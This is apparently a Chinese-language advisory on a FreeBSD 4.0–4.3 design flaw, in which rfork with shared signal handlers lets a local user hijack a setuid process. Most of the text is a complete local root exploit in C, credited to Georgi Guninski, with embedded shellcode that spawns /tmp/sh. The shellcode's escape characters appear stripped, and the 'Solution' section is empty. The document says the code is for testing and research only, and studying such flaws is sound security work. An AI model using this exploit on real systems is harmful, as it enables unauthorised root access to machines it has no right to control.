|
本地攻击者利用 FreeBSD 设计漏洞取得系统root特权(1) 发现 FreeBSD 4.3 4.2 4.1 4.0 存在一个设计上的漏洞,它允许用户在其它进程中插入 signal handlers。问题出在 rfork(RFPROCRFSIGSHARE) ,如果子进程 exec() 一个 setuid 程序,然后父进程设置一个 signal handlers,这个 signal handlers 将会在子进程中被复制。发送一个信号给子进程将能导致 signal handlers 被执行。 利用此漏洞,本地攻击者能取得 root 权限。
以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负
-------------vvfreebsd.c----------------------
/* FreeBSD 4.3 local root eXPloit using shared signals. Written by Georgi Guninski http://www.guninski.com */
#include <stdio.h> #include <signal.h> #include <unistd.h> int vv1;
#define MYSIG SIGINT
//exec "/tmp/sh", shellcode gotten from the internet and modified unsigned char bsdshell[] = "x90x90x90x90x90x90x90x90" "x31xc0x50x50xb0xb7xcdx80" "x31xc0x50x50xb0x17xcdx80" "x31xc0x50x68x2fx2fx73x68x68x2f" "x74x6dx70x89xe3x50x53x50x54x53" "xb0x3bx50xcdx80x90x90x90";
typedef (*PROG)(); extern char **environ;
int main(int ac,char **av) { int pid; //(*(PROG)bsdshell)(); if(!(vv1=getenv("vv"))) { setenv("vv",bsdshell,1); if(!execle(av[0],"vv",NULL,environ)) { perror("weird exec"); exit(1); } }
printf("vvfreebsd. Written by Georgi Guninskin"); printf("shall jump to %xn",vv1);
if(!(pid=rfork(RFPROCRFSIGSHARE))) { printf("child=%dn",getpid()); // /usr/bin/login and rlogin work for me. ping gives nonsuid shell // if(!execl("/usr/bin/rlogin","rlogin","localhost",0)) if(!execl("/usr/bin/login","login",0)) { perror("exec setuid failed"); exit(2); }; } sleep(2); signal(MYSIG,(sig_t)vv1); sleep(2); kill(pid,MYSIG); printf("donen"); while(42); }
----------------------------------------------
受影响版本: FreeBSD 4.3 4.2 4.1 4.0 早期版本也许受影响
解决方案:
|